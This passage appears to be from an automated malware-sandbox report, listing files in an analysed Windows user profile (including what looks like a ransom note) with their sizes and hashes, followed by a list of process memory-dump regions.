C:\Users\Admin\Pictures\InvokeRevoke.cr2
Filesize
357KB

MD5
34f66528d42cf8a1d091640d2eaadde0

SHA1
45cb6d34927331097c854a5b357365f51b56a6c6

SHA256
1a8baabd0ffa80906d2579804e72b561634844e9e10c3105dcd9dce6d308ff70

SHA512
32d680a35dc7443fa86f07368369e920c5eea56955e17e79a9bcbdb5b24d9237741978d1635334cf0793edc0b2fcfb0d9abd4964a54ac8a274ab61b953727a93

Download Submit
C:\Users\Admin\Pictures\JoinExit.tiff
Filesize
500KB

MD5
63441632f360d33a95fddeda93239c7c

SHA1
5cb5cb2d63e3a9034e0062c978dc82e26e8ca997

SHA256
b6f755915751cad64dc0651e6eefa1b702183167094d6f0bc2e9a9d8b75a385d

SHA512
5398863fd6658d32f3358383a2caf871dfa1a7f8807e1be57516be0a1ff3e07007d2e031ec818588aaab59bfdecfffe5979b67b9c4b53baebd83c5cca43aa0f4

Download Submit
C:\Users\Admin\Pictures\JoinRename.emz
Filesize
532KB

MD5
d90652b464b7eb91f4c63d8fa526d8eb

SHA1
bd3e4ddf9f763569a88a19bc6dc246d957f2fe01

SHA256
e7931f7b249bd8b430fccaeb9312bd487daf7c3030863ec9bfd108ed9e1305f6

SHA512
e3d0a09d83bb1fab8fe66c5ae0a7b09cfca38b171757d2d1b802c37d0e9135b3b55f9568282b66de066d0870bcacec5257b58e8efe2c2921ab21c38cb80edd9b

Download Submit
C:\Users\Admin\Pictures\LimitRequest.crw
Filesize
421KB

MD5
1deb1a4473263b0f7d0d50b524f984a1

SHA1
aaee2ebe4e794fb89224c348b0fe169393b6e889

SHA256
df6198d3ce49b8d0ec9b1be6650a6addf0cede61aebb7d60f90bc018483b051b

SHA512
aef1abb7d2d985fa22d8945af55588364913e1993d79fe0ab87878328bba357fab85e4b1fe7d2964696eaeaf874b4fd004f6dd2b9bccc4d3d3104653982399c9

Download Submit
C:\Users\Admin\Pictures\MountResize.eps
Filesize
611KB

MD5
6f9b050229a887da93c1c3abec47a56f

SHA1
000540541a9f378e72017c4a29901ae8f30ea478

SHA256
70cc825a0da258d94ea6da57e0a154aa86a7a8c898bfed2d0170667856171a32

SHA512
d20a8fe9b175f4b26cffbdc3c06841bd4e50b99a543ec73167a2169cee404193c756eb510c7a1836a00be23466baad3a70248abd90d9f9cc3e99e6e2b4132a80

Download Submit
C:\Users\Admin\Pictures\My Wallpaper.jpg
Filesize
24KB

MD5
e184b720bf47d12d80f194ac90608414

SHA1
5214246581b47fe42559b48c9f344b067e081f8f

SHA256
07fe552112fdf12181951d19ed65fab19a24fb09141e78d628b70aa9d128422f

SHA512
ac1396ab2687b2c8d3d868f00844dd8f2bfd9be1d4a4b7bcf51ae3efa2da47038c6be23d8040886d9e8d42650fec390121a82ad3ed9369d949379994c2075145

Download Submit
C:\Users\Admin\Pictures\NewPop.crw
Filesize
405KB

MD5
6421d483f4768a74f6089771f8861faa

SHA1
2e84aa9c2726abe31163f5e119779a6d956b9346

SHA256
7fd3d99f246e996806e3887347adfe5b2ab3857b10d927d591f20f9fe464cf5a

SHA512
e84bffd193c5ea612b6eefa541d8ba3b312695ac5c0355e0d6793424b612e56921e42ec1f360d1fa6df086b931ea0e64be16f7f65434fe9fff6a8b4661fa8055

Download Submit
C:\Users\Admin\Pictures\OpenLock.dxf
Filesize
722KB

MD5
c72bb073f0c37fbe096395ec2d92c89d

SHA1
b9e8050514ef5424d9c5f64fc88cf4ff16a646ad

SHA256
1a8e92167520b7a9e2c3889be00378366ee40c0bf17560e72449ed2726def69a

SHA512
ad3a51ab9df8278046f132cec9de3a310a07eb6b1fd74ab4e23c3587052c4097d0b403c3382217614afd620cd34c1018f4cf4f04595b89099a1c9febdbf9137b

Download Submit
C:\Users\Admin\Pictures\RedoCompare.dwg
Filesize
754KB

MD5
6dd904e46f2e6136f92edcd29f2c4f38

SHA1
ae4da03094923ef10fbc91179d29dd7da4871831

SHA256
8749f9d73436c7ded8928de9e756931d75fa26a115f2b9db36561cd26b211de6

SHA512
428836bcef581c16fd3b6a70fa1adbfb8b205a5ad58150c7b9185c953bfe9a781e0349674ffd15ad734cef27c377b5601eae3b596f887fea01e38e6720ff46f2

Download Submit
C:\Users\Admin\Pictures\RegisterCopy.jpg
Filesize
770KB

MD5
b812765b51098c2beb1637552cda7711

SHA1
96eb852b852df263651e8e0035faeec21684470b

SHA256
9d5c987376da1beddab7f1eb1fd0ab8621851c79197fe8c1b522252abc5f9f7e

SHA512
409b4690afee2f8aca09fbca14759d76fd9d60ae69ad677c21ca92fb69247a3bfdee0e7da825ddf69f22244e5863a186ec8e036cc7e4a1c216b85ca7068a0dfc

Download Submit
C:\Users\Admin\Pictures\RenameUnregister.jpg
Filesize
659KB

MD5
7e19257eed73da270bf997e783b60a26

SHA1
2c7a9d5b196f81827b39aab4c19fe62f629a1e9f

SHA256
320504d9798d6b7d6130cf298ecdce3dd1d5eafc37010e42fd271d49de464d17

SHA512
76509e49ec2a3db4b5bd43a6b5ec22fcbe70911fd6dc51b900fad58c2143ed2997e3d6d57d55d6dd4bb281db9e162d7cf13a3ec06a20f5b3b6db4250417cc96d

Download Submit
C:\Users\Admin\Pictures\RestartCompare.bmp
Filesize
373KB

MD5
152e2ef775f4bc45b276c2c89e8d7012

SHA1
b73e97cbd57d55f232d2898e941d5597135e44c4

SHA256
8fd9ca3172a7da7a0eaf561530df764addb072c698815399809fa87053c56f83

SHA512
a106753680eebdf5cc2e26f66ed5dec20475e354a34d1cd026ab927cf36e1061fc112895024ebf4bfd3d7c988e1ccee15e230ec5b0b3aadbdb28091d3d82d3c6

Download Submit
C:\Users\Admin\Pictures\RestoreWait.eps
Filesize
293KB

MD5
bfa7c7e7853a1fd8914f7ffda1312124

SHA1
cf619413fe9bca36cfe86331197714a00686734c

SHA256
271c82db9577c7eb5be489708f13326f05fb8fb5cc4ea5b6ef7332ef279bd012

SHA512
6694867b0334d51544e157252a07e697bd5c2c31811341ddd80dfa46d82c3a751526c6ebdb543945924801668ee81d8144bf9698d4616f0526a372bc8d2573ae

Download Submit
C:\Users\Admin\Pictures\SendEdit.jpeg
Filesize
548KB

MD5
ea2e1f5d2385a882b7d08b3e417a0f81

SHA1
848b64b093fd8a0625edf02e490c6ae8b1661b65

SHA256
dbc5d73d2c6e1eb4843174bdd2f53025a5cedcdf3786c3542e5acbfa5954c4a6

SHA512
de8c2bd5747870ecf56d4ac5e890171b375a86273b38cae67c445363832a3534bdcc99576d45f9127b586f483d44a3a951aeaa79f89a1d94c145dcc0a99fa7d0

Download Submit
C:\Users\Admin\Pictures\StartGrant.eps
Filesize
436KB

MD5
2d46b3833630b7c2b920f82f2e004736

SHA1
f4ee049c8682357035020335a8396044cca12785

SHA256
b86ac51bf61a47a381a9e951984c876e81ce06a0cc78e31824f36643a652295d

SHA512
2ebcefe65f1ee2b72523f82c66546ab598ec496c7f2202271d2dbb2c55e600255d79c7ac49a2672bca22ab67a85cfde2ffc2bd57d5cb6ea5ae480445e68a2232

Download Submit
C:\Users\Admin\Pictures\SubmitConvertTo.eps
Filesize
563KB

MD5
5119791f1b32619fe1375eefd86cc00c

SHA1
30f8c4f2eade9116029107edccfbdd603b20f7b8

SHA256
54defea66985954c1012b61724499a5f24f906df714ecc7fe419ecc214909469

SHA512
fc5ba3c1e26d85d96b1dc9489f9993b0f1ef73332fb5a83d5dbff2e812b3bcb41b4b4e8d134ed1507b738da21d80e16ec461435dbd26b3fff88aa10bd77729d6

Download Submit
C:\Users\Admin\Pictures\SwitchOpen.dwg
Filesize
278KB

MD5
85936b0265a5d05cb42712ceaeb9527d

SHA1
0c962b02e5c45106dde89591fd671f9762261a96

SHA256
f8076fad56ef05a8a8fed1cd64d9d660d019c24f66a0cc696c519708aa2ae67a

SHA512
b8c7b10888664e29b46dcd0679e8288ae3d1b453611d2cf7da5708da6da83ed1776416869d982b6a07dcd6f84eb435b5c4e236d9144fbdb1df968a9a68c0d487

Download Submit
C:\Users\Admin\Pictures\SyncRedo.jpeg
Filesize
627KB

MD5
fd1c7275fb20278091a0147f37aef59e

SHA1
6f152d3033e01f4b1f7767f384a1a500b0de4d23

SHA256
a3520a4c0db9130e11a8cb250a1d5873d67eba3a3ac0033d79772e9a2b8e2c19

SHA512
311ca339cf1c3615f2ee0c848fde37c88641f060997c1bc2f5b3ca10984a1a9df9413b69ab0408a4930bf719850c24f523aaed7410c00a1ff816818962e0303c

Download Submit
C:\Users\Admin\Pictures\TestWrite.wmf
Filesize
675KB

MD5
44ed6ae8246661ce2ffb69f59ed5d241

SHA1
1e25944bf69d85835ddc3a14e84814bea61fb24a

SHA256
eb5715193b201e522413fd0bdb72484d1b7c10e7456ffbbe3c7d5bd677f47335

SHA512
5451f73f98d54d1f3910c67d19fc65d6bbd24a612482b80e46b2c179e24c5b83e285394c517a544005aa0e1f642e4bb43fd561a16402b03889208a3012894268

Download Submit
C:\Users\Admin\Pictures\UndoFind.svgz
Filesize
802KB

MD5
8f4f37e4317cfe793bbf5b133cfe6dee

SHA1
b53872751cccd178176988a075c7f123708204dc

SHA256
d1a1945f4c506c7d4b1d719a79375dcf67096de8b144c63d962c9e2e2dfbe879

SHA512
8d7dae4eb248744a4d583eba370f45e06371039bf8fb8e5e0cf1c947c48075893ef0de254dee79986874f361d3886efde575356532901f60dea2b19376ce0899

Download Submit
C:\Users\Admin\Pictures\UnlockMove.bmp
Filesize
452KB

MD5
46a95428390958e3292a12a4e551c9bb

SHA1
d167fecb9b7c2735ee80a0621465a1a376cc29ac

SHA256
c2b5ee3fb8456a23d96d77968b76476896c19151bcc3f0c966e5e4cd4e9d8266

SHA512
51be273ff521a84809cee1282a0f86d762acb33d5d6a4ee359b2851a2971048816c1ba7c60472dab4fd2f90e25d8f4881e94dcec71c3ac5d25cc263eded6926b

Download Submit
C:\Users\Admin\Pictures\UnprotectStart.emf
Filesize
786KB

MD5
c0ce7b23ca110db03892ea5bf45eef83

SHA1
9c1857f8d25a0b4663b6385dd7c119f4266989d1

SHA256
22bcaee245302c8c1b542add5cee42c02f4a039e2d28b45fe587ac1efc2938a6

SHA512
9f2b3d49a6d7a51f257a9fc9a80c9ac9f38b08a8edc823c963dee43fe0c9fb32ca37da22c8da676781beb464fbe12f632124b7d2391fcdbff5f1e6b56681118e

Download Submit
C:\Users\Admin\Pictures\UnregisterSuspend.emz
Filesize
1.1MB

MD5
a533ab8e743bce14d0040f776f830597

SHA1
cd03dad2977009c0a654f0718d2b5351a30220c0

SHA256
c6ee29c56a5eedbe2ff6ae97c1efe512e77118fe2930def3e37889a7a4ded1b9

SHA512
394cc606bc5a528908f03b794df489d526c9e0a3b9a07fb22028c38a917041b2b2bae56c25663abee89599b646cb1df4aac88a073f6a025e82605c92752f3a3d

Download Submit
C:\Users\Admin\Pictures\UseBackup.eps
Filesize
389KB

MD5
006be39ab4552244dc42499e9ae171ef

SHA1
82961cf2364637198eb81182876414b2c5b6bfa2

SHA256
29de939d756e878e0a6087491521717ebc4f9312ae55c8442e331d78b2bfdc42

SHA512
42f2954bfcee78892ce6a724609788de83fba729df7410e23f8b288da81082e0e16d2adfca76e2615e7297154b59a3cfd7be5042e6b4afaecfdce7b597afd73c

Download Submit
C:\Users\Admin\Pictures\WaitRestore.raw
Filesize
309KB

MD5
3d0a085ec7be9f8a245d364c4fbc509b

SHA1
0c4ca703d58abfb63cfee0d5d93eea09ea913228

SHA256
e4c9a773cc8b55a6c987555e86ba2666a95d98a3a9bf2d478b6cd7261127ea17

SHA512
9c95875abc11e0a3c4d7fd83a62d0609d75a4a0a9c3b6a3d8d09496e3a9dcc1b33cda0120ec2dcc2811ef29d62dc338ec50b5fe2a88b8482f718d0096023e25e

Download Submit
C:\Users\Admin\Searches\winrt--{S-1-5-21-1311743041-1167936498-546579926-1000}-.searchconnector-ms
Filesize
1KB

MD5
d4c31db3baf46caa741bed3c72cab30b

SHA1
2c21e106d2ce49d8c33348c846f552de87466895

SHA256
6b84abf373fe96b79084b3a8cb799305b68d48b3e4d6a44ef812ff6c4e376fb0

SHA512
9616097a16a9725684e5914f22f37131fd838d5e488c8d841f6994c11af63793bc743a01b31ada06e326b15a7b4e4aacc9c52a4c8f80436d201b9a79a229b6f6

Download Submit
C:\Users\Admin\Videos\How To Restore Your Files.txt
Filesize
5KB

MD5
6d16fca5b3743510041fee22b7e659f5

SHA1
128f98e5492e7e2f9fdb0864e2f23de847790d7e

SHA256
e01083ae954452043f7abc3e2c6d9a26aa91f1bbf382531e042d653f139f9d62

SHA512
22a2c5ce8f0627ac3913e1b6d77ae80e6cb151dc27be5eef162c73715ee129ca80f3ab1eddfae0fc5a02b6541c6aca0910fa7c9581c79cd9465b27a039c4e261

Download Submit
C:\odt\config.xml
Filesize
744B

MD5
3fd15585db40ff41025df63b8300143a

SHA1
07588159d0b64579debc2cc90ae0224cf806b385

SHA256
41b342c557dc7f8110a44a4bf523e4c3ece018a1703f0bfe831fb907ff65a0ea

SHA512
bc51a55b7f66907e8ae61e925563dbc4aa75a17b30dcbc9c1525a698f186fdf48d3210aaf45c07c25da02412ab352d4c748ff6767b008215f4bcead086853603

Download Submit
memory/2036-153-0x0000000004D60000-0x0000000004D70000-memory.dmp

Filesize
64KB

Download
memory/2036-122-0x0000000004D70000-0x0000000004D9E000-memory.dmp

Filesize
184KB

Download
memory/2036-123-0x0000000009260000-0x00000000092FC000-memory.dmp

Filesize
624KB

Download
memory/2036-124-0x0000000004DA0000-0x0000000004DB8000-memory.dmp

Filesize
96KB

Download
memory/2036-125-0x0000000004F50000-0x0000000004FB6000-memory.dmp

Filesize
408KB

Download
memory/2036-126-0x0000000004D60000-0x0000000004D70000-memory.dmp

Filesize
64KB

Download
memory/2036-127-0x0000000005720000-0x0000000005C1E000-memory.dmp

Filesize
5.0MB

Download
memory/2036-121-0x0000000000540000-0x000000000059A000-memory.dmp

Filesize
360KB

Download
memory/4532-522-0x0000000077439000-0x000000007743E000-memory.dmp

Filesize
20KB

Download
memory/5112-159-0x00000000091B0000-0x00000000091CE000-memory.dmp

Filesize
120KB

Download
memory/5112-158-0x00000000093F0000-0x0000000009423000-memory.dmp

Filesize
204KB

Download
memory/5112-140-0x0000000008370000-0x00000000083E6000-memory.dmp

Filesize
472KB

Download
memory/5112-139-0x0000000008080000-0x00000000080CB000-memory.dmp

Filesize
300KB

Download
memory/5112-138-0x0000000007A30000-0x0000000007A4C000-memory.dmp

Filesize
112KB

Download
memory/5112-137-0x0000000007C70000-0x0000000007FC0000-memory.dmp

Filesize
3.3MB

Download
memory/5112-136-0x0000000006D00000-0x0000000006D10000-memory.dmp

Filesize
64KB

Download
memory/5112-135-0x0000000006D00000-0x0000000006D10000-memory.dmp

Filesize
64KB

Download
memory/5112-134-0x0000000007B50000-0x0000000007BB6000-memory.dmp

Filesize
408KB

Download
memory/5112-133-0x0000000007290000-0x00000000072B2000-memory.dmp

Filesize
136KB

Download
memory/5112-132-0x0000000007340000-0x0000000007968000-memory.dmp

Filesize
6.2MB

Download
memory/5112-131-0x0000000004800000-0x0000000004836000-memory.dmp

Filesize
216KB

Download
memory/5112-164-0x0000000009520000-0x00000000095C5000-memory.dmp

Filesize
660KB

Download
memory/5112-165-0x000000007F8D0000-0x000000007F8E0000-memory.dmp

Filesize
64KB

Download
memory/5112-166-0x00000000096D0000-0x0000000009764000-memory.dmp

Filesize
592KB

Download
memory/5112-235-0x0000000006D00000-0x0000000006D10000-memory.dmp

Filesize
64KB

Download
memory/5112-360-0x0000000008580000-0x000000000859A000-memory.dmp

Filesize
104KB

Download
memory/5112-365-0x0000000008570000-0x0000000008578000-memory.dmp

Filesize
32KB

Download